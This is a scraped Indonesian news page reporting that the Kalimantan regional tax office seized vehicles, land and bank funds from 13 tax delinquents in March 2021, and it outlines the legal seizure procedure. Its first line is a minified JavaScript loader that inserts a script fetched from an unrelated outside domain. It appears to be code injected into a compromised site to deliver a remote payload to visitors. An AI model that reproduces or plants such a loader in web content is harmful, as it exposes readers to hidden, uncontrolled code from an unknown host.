(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BALIKPAPAN – Akibat menunggak pajak, aset yang dimiliki 13 wajib pajak senilai Rp 8,957 miliar disita Kantor Wilayah Direktorat Jenderal Pajak Kaltim dan Kaltara (Kanwil DJP Kaltimtara) bersama 10 Kantor Pelayanan Pajak (KPP).
Penyitaan tersebut dilakukan selama bulan Maret 2021. Dari 13 wajib pajak yang mangkir menunaikan kewajibannya, disita 9 unit kendaraan roda empat, 4 bidang tanah, sejumlah uang dalam rekening bank, sejumlah uang dalam rekening giro, dan 1 unit kendaraan roda enam.
Kepala Bidang Penyuluhan, Pelayanan, dan Hubungan Masyarakat Kanwil DJP Kaltimtara Sihaboedin Effendy mengatakan, pihaknya sudah menerbitkan surat teguran kepada wajib pajak yang bersangkutan sebelum melakukan penyitaan.
“Jika wajib pajak tidak melunasi tagihan pajak dalam jangka waktu 21 hari sejak diterbitkannya surat teguran, KPP akan menerbitkan Surat Paksa,” ujarnya seperti dikutip dari Inibalikpapan.com -jaringan Suara.com.
Baca juga: RESMI. Ramadhan Tahun Ini Diizinkan Berjemaah di Masjid. Ini Panduan Lengkapnya!
Kemudian, surat paksa diserahkan dan dibacakan langsung Juru Sita Pajak Negara (JSPN) kepada wajib pajak. Hingga kemudian dalam jangka waktu 2×24 jam sejak surat paksa diterima, wajib pajak harus melunasi utangnya.
Hal itu sesuai dengan Undang-undang Nomor 19 Tahun 2000 yakni penyitaan adalah tindakan Jurusita Pajak untuk menguasai barang penanggung pajak, guna dijadikan jaminan untuk melunasi utang pajak menurut peraturan perundang-undangan.
Seterusnya, JSPN akan mencari informasi mengenai aset yang dimiliki oleh wajib pajak dan akan dijadikan objek sita melalui surat perintah penyitaan. Langkah selanjutnya, JSPN menyegel atau menyita barang-barang tersebut dengan memberikan berita acara pelaksanaan sita.
Dengan adanya penyitaan tersebut, diharapkan ada efek jera dan detterant effect terhadap wajib pajak sehingga voluntary complianced dapat terwujud. Adapun total tunggakan pajak dari 13 wajib pajak yang disita seluruhnya mencapai Rp 34,475 miliar. (suara.com)
Editor : kk
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 orang Penjabat (Pj) Kepala… Read More
Gubernur Kalsel: Percuma Rencana Kalau Tidak Dilakukan Read More
KANALKALIMANTAN.COM, JAKARTA – Keberhasilan Pemerintah Kabupaten Banjar dalam upaya mewujudkan tata kelola pemerintahan yang bersih… Read More
This website uses cookies.